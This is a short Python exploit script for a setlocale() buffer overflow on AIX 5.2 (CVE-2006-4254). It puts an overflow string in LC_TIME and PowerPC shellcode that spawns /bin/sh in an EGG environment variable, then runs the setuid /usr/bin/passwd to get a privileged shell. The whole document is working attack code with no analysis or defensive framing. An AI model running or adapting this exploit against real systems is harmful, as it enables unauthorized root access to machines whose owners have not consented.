#
#setlocale() exploit for aix 5.2 ( CVE-2006-4254  )
#thomas.pollet@gmail.com
#
from os import execve

bof="a"*580+"bbbbccccdddd\x2f\xf2\x28\x2f"
egg="\x60"*2350
shellcode=(            # by intropy <at> caughq.org
"\x7c\xa5\x2a\x79"     # xor.    r5,r5,r5
"\x40\x82\xff\xfd"     # bnel    <shellcode>
"\x7f\xe8\x02\xa6"     # mflr    r31
"\x3b\xff\x01\x20"     # cal     r31,0x120(r31)
"\x38\x7f\xff\x08"     # cal     r3,-248(r31)
"\x38\x9f\xff\x10"     # cal     r4,-240(r31)
"\x90\x7f\xff\x10"     # st      r3,-240(r31)
"\x90\xbf\xff\x14"     # st      r5,-236(r31)
"\x88\x5f\xff\x0f"     # lbz     r2,-241(r31)
"\x98\xbf\xff\x0f"     # stb     r5,-241(r31)
"\x4c\xc6\x33\x42"     # crorc   cr6,cr6,cr6
"\x44\xff\xff\x02"     # svca
"/bin/sh"
"\x05")

execve("/usr/bin/passwd",[""],{"EGG":egg+shellcode,"LC_TIME":bof})